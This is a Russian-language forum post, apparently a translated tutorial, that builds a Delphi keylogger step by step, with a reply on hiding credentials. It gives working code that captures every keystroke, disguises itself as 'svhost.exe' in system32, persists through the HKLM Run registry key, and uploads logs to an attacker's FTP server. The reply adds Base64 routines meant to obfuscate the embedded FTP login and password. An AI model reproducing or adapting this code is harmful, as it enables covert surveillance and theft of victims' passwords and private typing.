Привет всем, сегодя я объясню как создать кейлоггер на делфи 1. Запускаем Delphi Это должно выглядеть вот так 2 поле для кода должно выглядеть так 3 Используемые компоненты будут тут 4.Замените эти компоненты замените следующими. Код: uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, Inifiles, registry, sockets, Wininet; 1. Заявляем переменные 2. Переменные Добавте эти переменные в ваш код Код: var Form1: TForm1; ini : tinifile; F: Textfile; final: string; reg: tregistry; Это в заявления Код: Loopkey:Byte; Теперь поместите компоненты timer и memo на вашу форму. Дважды кликните на часы =) и вставте этот код Код: var Result:Longint; Enter:Integer; Period:Integer; Comma:Integer; Space:Integer; Colon:Integer; Slash:Integer; Backspace:Integer; Escape:Integer; Tab:Integer; Shift:Integer; Ctrl:Integer; Alt:Integer; Pause:Integer; CapsLock:integer; PageUP:Integer; PageDown:Integer; Fin:Integer; Home:Integer; LeftArrow:Integer; UpArrow:Integer; RightArrow:Integer; DownArrow:Integer; PrintScreen:Integer; Insert:Integer; Delete:Integer; WindowL:Integer; WindowR:Integer; Multiply:Integer; Add:Integer; Zero:Integer; Un:Integer; Deux:Integer; Trois:Integer; Quatre:Integer; Cinq:Integer; Six:Integer; Sept:Integer; Huit:Integer; Neuf:Integer; Separator:Integer; Soustraire:Integer; Point:Integer; Diviser:Integer; F1:Integer; F2:Integer; F3:Integer; F4:Integer; F5:Integer; F6:Integer; F7:Integer; F8:Integer; F9:Integer; F10:Integer; F11:Integer; F12:Integer; NumLock:Integer; StopScroll:Integer; Label KeyFound; begin Result:=0; Enter:=0; Period:=0; Comma:=0; Space:=0; Colon:=0; Slash:=0; Backspace:=0; Escape:=0; Tab:=0; Shift:=0; Ctrl:=0; Alt:=0; Pause:=0; CapsLock:=0; PageUP:=0; PageDown:=0; Fin:=0; Home:=0; LeftArrow:=0; UpArrow:=0; RightArrow:=0; DownArrow:=0; PrintScreen:=0; Insert:=0; Delete:=0; WindowL:=0; WindowR:=0; Multiply:=0; Add:=0; Zero:=0; Un:=0; Deux:=0; Trois:=0; Quatre:=0; Cinq:=0; Six:=0; Sept:=0; Huit:=0; Neuf:=0; Separator:=0; Soustraire:=0; Point:=0; Diviser:=0; F1:=0; F2:=0; F3:=0; F4:=0; F5:=0; F6:=0; F7:=0; F8:=0; F9:=0; F10:=0; F11:=0; F12:=0; NumLock:=0; StopScroll:=0; Result:=GetAsyncKeyState(27); If Result=-32767 then Begin Escape:=1; Goto keyFound; End; Result:=GetAsyncKeyState(109); If Result=-32767 then Begin Soustraire:=1; Goto keyFound; End; Result:=GetAsyncKeyState(110); If Result=-32767 then Begin Point:=1; Goto keyFound; End; Result:=GetAsyncKeyState(111); If Result=-32767 then Begin Diviser:=1; Goto keyFound; End; Result:=GetAsyncKeyState(112); If Result=-32767 then Begin F1:=1; Goto keyFound; End; Result:=GetAsyncKeyState(113); If Result=-32767 then Begin F2:=1; Goto keyFound; End; Result:=GetAsyncKeyState(114); If Result=-32767 then Begin F3:=1; Goto keyFound; End; Result:=GetAsyncKeyState(115); If Result=-32767 then Begin F4:=1; Goto keyFound; End; Result:=GetAsyncKeyState(116); If Result=-32767 then Begin F5:=1; Goto keyFound; End; Result:=GetAsyncKeyState(117); If Result=-32767 then Begin F6:=1; Goto keyFound; End; Result:=GetAsyncKeyState(118); If Result=-32767 then Begin F7:=1; Goto keyFound; End; Result:=GetAsyncKeyState(119); If Result=-32767 then Begin F8:=1; Goto keyFound; End; Result:=GetAsyncKeyState(120); If Result=-32767 then Begin F9:=1; Goto keyFound; End; Result:=GetAsyncKeyState(121); If Result=-32767 then Begin F10:=1; Goto keyFound; End; Result:=GetAsyncKeyState(122); If Result=-32767 then Begin F11:=1; Goto keyFound; End; Result:=GetAsyncKeyState(123); If Result=-32767 then Begin F12:=1; Goto keyFound; End; Result:=GetAsyncKeyState(144); If Result=-32767 then Begin NumLock:=1; Goto keyFound; End; Result:=GetAsyncKeyState(145); If Result=-32767 then Begin StopScroll:=1; Goto keyFound; End; Result:=GetAsyncKeyState(96); If Result=-32767 then Begin Zero:=1; Goto keyFound; End; Result:=GetAsyncKeyState(97); If Result=-32767 then Begin Un:=1; Goto keyFound; End; Result:=GetAsyncKeyState(98); If Result=-32767 then Begin Deux:=1; Goto keyFound; End; Result:=GetAsyncKeyState(99); If Result=-32767 then Begin Trois:=1; Goto keyFound; End; Result:=GetAsyncKeyState(100); If Result=-32767 then Begin Quatre:=1; Goto keyFound; End; Result:=GetAsyncKeyState(101); If Result=-32767 then Begin Cinq:=1; Goto keyFound; End; Result:=GetAsyncKeyState(102); If Result=-32767 then Begin Six:=1; Goto keyFound; End; Result:=GetAsyncKeyState(103); If Result=-32767 then Begin Sept:=1; Goto keyFound; End; Result:=GetAsyncKeyState(104); If Result=-32767 then Begin Huit:=1; Goto keyFound; End; Result:=GetAsyncKeyState(105); If Result=-32767 then Begin Neuf:=1; Goto keyFound; End; Result:=GetAsyncKeyState(108); If Result=-32767 then Begin Separator:=1; Goto keyFound; End; Result:=GetAsyncKeyState(91); If Result=-32767 then Begin WindowL:=1; Goto keyFound; End; Result:=GetAsyncKeyState(92); If Result=-32767 then Begin WindowR:=1; Goto keyFound; End; Result:=GetAsyncKeyState(106); If Result=-32767 then Begin Multiply:=1; Goto keyFound; End; Result:=GetAsyncKeyState(107); If Result=-32767 then Begin Add:=1; Goto keyFound; End; Result:=GetAsyncKeyState(46); If Result=-32767 then Begin Delete:=1; Goto keyFound; End; Result:=GetAsyncKeyState(45); If Result=-32767 then Begin Insert:=1; Goto keyFound; End; Result:=GetAsyncKeyState(42); If Result=-32767 then Begin PrintScreen:=1; Goto keyFound; End; Result:=GetAsyncKeyState(37); If Result=-32767 then Begin LeftArrow:=1; Goto keyFound; End; Result:=GetAsyncKeyState(38); If Result=-32767 then Begin UpArrow:=1; Goto keyFound; End; Result:=GetAsyncKeyState(39); If Result=-32767 then Begin RightArrow:=1; Goto keyFound; End; Result:=GetAsyncKeyState(40); If Result=-32767 then Begin DownArrow:=1; Goto keyFound; End; Result:=GetAsyncKeyState(36); If Result=-32767 then Begin Home:=1; Goto keyFound; End; Result:=GetAsyncKeyState(35); If Result=-32767 then Begin Fin:=1; Goto keyFound; End; Result:=GetAsyncKeyState(33); If Result=-32767 then Begin PageUP:=1; Goto keyFound; End; Result:=GetAsyncKeyState(34); If Result=-32767 then Begin PageDown:=1; Goto keyFound; End; Result:=GetAsyncKeyState(16); If Result=-32767 then Begin Shift:=1; Goto keyFound; End; Result:=GetAsyncKeyState(20); If Result=-32767 then Begin CapsLock:=1; Goto keyFound; End; Result:=GetAsyncKeyState(19); If Result=-32767 then Begin Pause:=1; Goto keyFound; End; Result:=GetAsyncKeyState(18); If Result=-32767 then Begin Alt:=1; Goto keyFound; End; Result:=GetAsyncKeyState(17); If Result=-32767 then Begin Ctrl:=1; Goto keyFound; End; Result:=GetAsyncKeyState(9); If Result=-32767 then Begin Tab:=1; Goto keyFound; End; Result:=GetAsyncKeyState(8); If Result=-32767 then Begin Backspace:=1; Goto keyFound; End; Result:=GetAsyncKeyState(190); If Result= -32767 then begin Period:=1; Goto keyFound; End; Result:=GetAsyncKeyState(13); if Result= -32767 then Begin Enter:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(188); if Result= -32767 then begin Comma:=1; Goto keyFound; End; Result:=GetAsyncKeyState(32); if Result= -32767 then Begin Space:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(186); if Result= -32767 then Begin Colon:=1; Goto Keyfound; End; Result:=GetAsyncKeyState(191); if Result= -32767 then Begin Slash:=1; Goto Keyfound; End; Loopkey:=41; repeat Result:=GetAsyncKeyState(Loopkey); if Result= -32767 then Begin Memo1.Text:= Memo1.Text + Chr(Loopkey); End Else Loopkey:=Loopkey+1; until Loopkey = 91; Exit; KeyFound: if Escape=1 Then Begin Memo1.Text:=Memo1.Text + '[Escape]'; Escape:=0; Exit; End; if F1=1 Then Begin Memo1.Text:=Memo1.Text + '[F1]'; F1:=0; Exit; End; if F2=1 Then Begin Memo1.Text:=Memo1.Text + '[F2]'; F2:=0; Exit; End; if F3=1 Then Begin Memo1.Text:=Memo1.Text + '[F3]'; F3:=0; Exit; End; if F4=1 Then Begin Memo1.Text:=Memo1.Text + '[F4]'; F4:=0; Exit; End; if F5=1 Then Begin Memo1.Text:=Memo1.Text + '[F5]'; F5:=0; Exit; End; if F6=1 Then Begin Memo1.Text:=Memo1.Text + '[F6]'; F6:=0; Exit; End; if F7=1 Then Begin Memo1.Text:=Memo1.Text + '[F7]'; F7:=0; Exit; End; if F8=1 Then Begin Memo1.Text:=Memo1.Text + '[F8]'; F8:=0; Exit; End; if F9=1 Then Begin Memo1.Text:=Memo1.Text + '[F9]'; F9:=0; Exit; End; if F10=1 Then Begin Memo1.Text:=Memo1.Text + '[F10]'; F10:=0; Exit; End; if F11=1 Then Begin Memo1.Text:=Memo1.Text + '[F11]'; F11:=0; Exit; End; if F12=1 Then Begin Memo1.Text:=Memo1.Text + '[F12]'; F12:=0; Exit; End; if NumLock=1 Then Begin Memo1.Text:=Memo1.Text + '[Numlock]'; NumLock:=0; Exit; End; if StopScroll=1 Then Begin Memo1.Text:=Memo1.Text + '[StopScroll]'; StopScroll:=0; Exit; End; if Zero=1 Then Begin Memo1.Text:=Memo1.Text + '0'; Zero:=0; Exit; End; if Un=1 Then Begin Memo1.Text:=Memo1.Text + '1'; Un:=0; Exit; End; if Deux=1 Then Begin Memo1.Text:=Memo1.Text + '2'; Deux:=0; Exit; End; if Trois=1 Then Begin Memo1.Text:=Memo1.Text + '3'; Trois:=0; Exit; End; if Quatre=1 Then Begin Memo1.Text:=Memo1.Text + '4'; Quatre:=0; Exit; End; if Cinq=1 Then Begin Memo1.Text:=Memo1.Text + '5'; Cinq:=0; Exit; End; if Six=1 Then Begin Memo1.Text:=Memo1.Text + '6'; Six:=0; Exit; End; if Sept=1 Then Begin Memo1.Text:=Memo1.Text + '7'; Sept:=0; Exit; End; if Huit=1 Then Begin Memo1.Text:=Memo1.Text + '8'; Huit:=0; Exit; End; if Neuf=1 Then Begin Memo1.Text:=Memo1.Text + '9'; Neuf:=0; Exit; End; if Separator=1 Then Begin Memo1.Text:=Memo1.Text + '[Separator]'; Separator:=0; Exit; End; if WindowL=1 Then Begin Memo1.Text:=Memo1.Text + '[Windows Gauche]'; WindowL:=0; Exit; End; if WindowR=1 Then Begin Memo1.Text:=Memo1.Text + '[Windows Droite]'; WindowR:=0; Exit; End; if Multiply=1 Then Begin Memo1.Text:=Memo1.Text + '*'; Multiply:=0; Exit; End; if Add=1 Then Begin Memo1.Text:=Memo1.Text + '+'; Add:=0; Exit; End; if Soustraire=1 Then Begin Memo1.Text:=Memo1.Text + '-'; Soustraire:=0; Exit; End; if Diviser=1 Then Begin Memo1.Text:=Memo1.Text + '/'; Diviser:=0; Exit; End; if Point=1 Then Begin Memo1.Text:=Memo1.Text + '.'; Point:=0; Exit; End; if Delete=1 Then Begin Memo1.Text:=Memo1.Text + '[Delete]'; Delete:=0; Exit; End; if Insert=1 Then Begin Memo1.Text:=Memo1.Text + '[Insert]'; Insert:=0; Exit; End; if PrintScreen=1 Then Begin Memo1.Text:=Memo1.Text + '[Print]'; PrintScreen:=0; Exit; End; if Fin=1 Then Begin Memo1.Text:=Memo1.Text + '[Fin]'; Fin:=0; Exit; End; if PageUP=1 Then Begin Memo1.Text:=Memo1.Text + '[PageUP]'; PageUP:=0; Exit; End; if PageDown=1 Then Begin Memo1.Text:=Memo1.Text + '[PageDown]'; PageDown:=0; Exit; End; if Ctrl=1 Then Begin Memo1.Text:=Memo1.Text + '[Ctrl]'; Ctrl:=0; Exit; End; if Alt=1 Then Begin Memo1.Text:=Memo1.Text + '[Alt]'; Alt:=0; Exit; End; if Home=1 Then Begin Memo1.Text:=Memo1.Text + '[Home]'; Home:=0; Exit; End; if Shift=1 Then Begin Memo1.Text:=Memo1.Text + '[Shift]'; Shift:=0; Exit; End; if LeftArrow=1 Then Begin Memo1.Text:=Memo1.Text + '[Gauche]'; LeftArrow:=0; Exit; End; if UpArrow=1 Then Begin Memo1.Text:=Memo1.Text + '[Haut]'; UpArrow:=0; Exit; End; if RightArrow=1 Then Begin Memo1.Text:=Memo1.Text + '[Droite]'; RightArrow:=0; Exit; End; if DownArrow=1 Then Begin Memo1.Text:=Memo1.Text + '[Bas]'; DownArrow:=0; Exit; End; if CapsLock=1 Then Begin Memo1.Text:=Memo1.Text + '[CapsLock]'; CapsLock:=0; Exit; End; if Pause=1 Then Begin Memo1.Text:=Memo1.Text + '[Pause]'; Pause:=0; Exit; End; if Tab=1 Then Begin Memo1.Text:=Memo1.Text + '[Tab]'; Tab:=0; Exit; End; if Backspace=1 Then Begin Memo1.Text:=Memo1.Text + '[BackSpace]'; Backspace:=0; Exit; End; if Enter=1 Then Begin Memo1.Text:=Memo1.Text + '[Enter]'; Enter:=0; Exit; End; if Period=1 Then Begin Memo1.Text:=Memo1.Text + '.'; Period:=0; Exit; End; if Comma=1 then begin Memo1.Text:=Memo1.Text+','; Comma:=0; Exit; End; if Space=1 Then Begin Memo1.Text:=Memo1.Text+' '; Space:=0; Exit; End; if Colon=1 then Begin Memo1.Text:=Memo1.Text+':'; Colon:=0; Exit; End; if Slash=1 Then begin Memo1.Text:=Memo1.Text + '/'; Slash:=0; Exit; End; Запоминает нажатые кнопки. Теперь добавим ещё одни часы и добавим ещё код Код: ini := tinifile.Create('C:\windows\system32\Log.ini'); ini.WriteString('Log','Log',Memo1.Text); ini.Free; Memo1.Clear; uploadnow; Этот код будет сохранять историю в log.ini Теперь мы хотим, чтобы кейлоггер запускался при запуске windows Дважды кликаем на форму и вставляем код Код: begin var path: string; begin path := application.ExeName; copyfile(pchar(path),'C:\windows\system32\svhost.e xe',true); Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVer sion\Run',false); reg.writeString('svhost','C:\windows\system32\svho st.exe'); reg.CloseKey; Reg.Free; end; Теперь мы хотим чтобы наши логи сохранялись на ftp Надо вставить наши данные (ftp сервер, логин, пароль) Вставляйте все процедуры и функции после implementation Код: implementation {$R *.dfm} Код: procedure uploadnow; var intconn,intopen : hinternet; port:integer; host,username,password:string; file_to_upload,file_upload_name:string; begin port:=21; host:= 'Ваш ftp сервер'; username:='ftp логин'; password:='пароль'; file_to_upload:='C:\windows\system32\log.ini'; file_upload_name:= Computername +'.txt'; intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0); intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0); sleep(100); FtpCreateDirectory(intconn,pchar('t0xic')); FtpSetCurrentDirectory(intconn,pchar('t0xic')); ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0); if getlasterror() = 0 then internetclosehandle(intopen); end; Должно выглядеть вот так: Код: implementation {$R *.dfm} function ComputerName: string; var lpBuffer: array[0..MAX_COMPUTERNAME_LENGTH] of char; nSize: dword; begin nSize:= Length(lpBuffer); if GetComputerName(lpBuffer, nSize) then result:= lpBuffer else result:= ''; end; procedure uploadnow; var intconn,intopen : hinternet; port:integer; host,username,password:string; file_to_upload,file_upload_name:string; begin port:=21; host:= 'Your ftp server'; username:='your ftp username'; password:='your ftp password'; file_to_upload:='C:\windows\system32\log.ini'; file_upload_name:= Computername+'.txt'; intopen := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT, nil,nil,0); intconn := internetconnect(intopen,pchar(host),port,pchar(use rname),pchar(password),INTERNET_SERVICE_FTP,INTERN ET_FLAG_PASSIVE,0); sleep(100); FtpCreateDirectory(intconn,pchar('t0xic')); FtpSetCurrentDirectory(intconn,pchar('t0xic')); ftpputfile(intconn,pchar(file_to_upload),pchar(fil e_upload_name),FTP_TRANSFER_TYPE_UNKNOWN,0); if getlasterror() = 0 then internetclosehandle(intopen); end; Устанавливаем в часах timer1.Interval := 1 ; timer2.interval := 90000 ; На этом всё. Автор:Yuri.toxic Перевод:=<4APAEV>=ЗЫ немного не понял про компонент memo, так что напишите что и как, если не сложно.
Есть unit'ы DES, AES, BASE64 и т.д. и т. п. "шифровок". Логин/Пасс шифруешь в любой предложенной системе, и выполняешь функцию расшифровки с данными, в нашем случае Логин/Пасс. Также можно использовать функцию XOR'а. К примеру используем BASE64: [+] Функция кодирования Код: function EncodeBase64(Value: String): String; const b64alphabet: PChar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; pad: PChar = '===='; function EncodeChunk(const Chunk: String): String; var W: LongWord; i, n: Byte; begin n := Length(Chunk); W := 0; for i := 0 to n - 1 do W := W + Ord(Chunk[i + 1]) shl ((2 - i) * 8); Result := b64alphabet[(W shr 18) and $3f] + b64alphabet[(W shr 12) and $3f] + b64alphabet[(W shr 06) and $3f] + b64alphabet[(W shr 00) and $3f]; if n <> 3 then Result := Copy(Result, 0, n + 1) + Copy(pad, 0, 3 - n); //add padding when out len isn't 24 bits end; begin Result := ''; while Length(Value) > 0 do begin Result := Result + EncodeChunk(Copy(Value, 0, 3)); Delete(Value, 1, 3); end; end; [свернуть] [+] Функция ДЕкодирования Код: function DecodeBase64(Value: String): String; const b64alphabet: PChar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function DecodeChunk(const Chunk: String): String; var W: LongWord; i: Byte; begin W := 0; Result := ''; for i := 1 to 4 do if Pos(Chunk, b64alphabet) <> 0 then W := W + Word((Pos(Chunk, b64alphabet) - 1)) shl ((4 - i) * 6); for i := 1 to 3 do Result := Result + Chr(W shr ((3 - i) * 8) and $ff); end; begin Result := ''; if Length(Value) mod 4 <> 0 then Exit; while Length(Value) > 0 do begin Result := Result + DecodeChunk(Copy(Value, 0, 4)); Delete(Value, 1, 4); end; end; [свернуть] Код: mas:=DecodeBase64('wu7yIPLg6iDi++/u6+3/5fLx/yD08+3q9uj/IPjo9PDu4uroIOTg7e379Q==');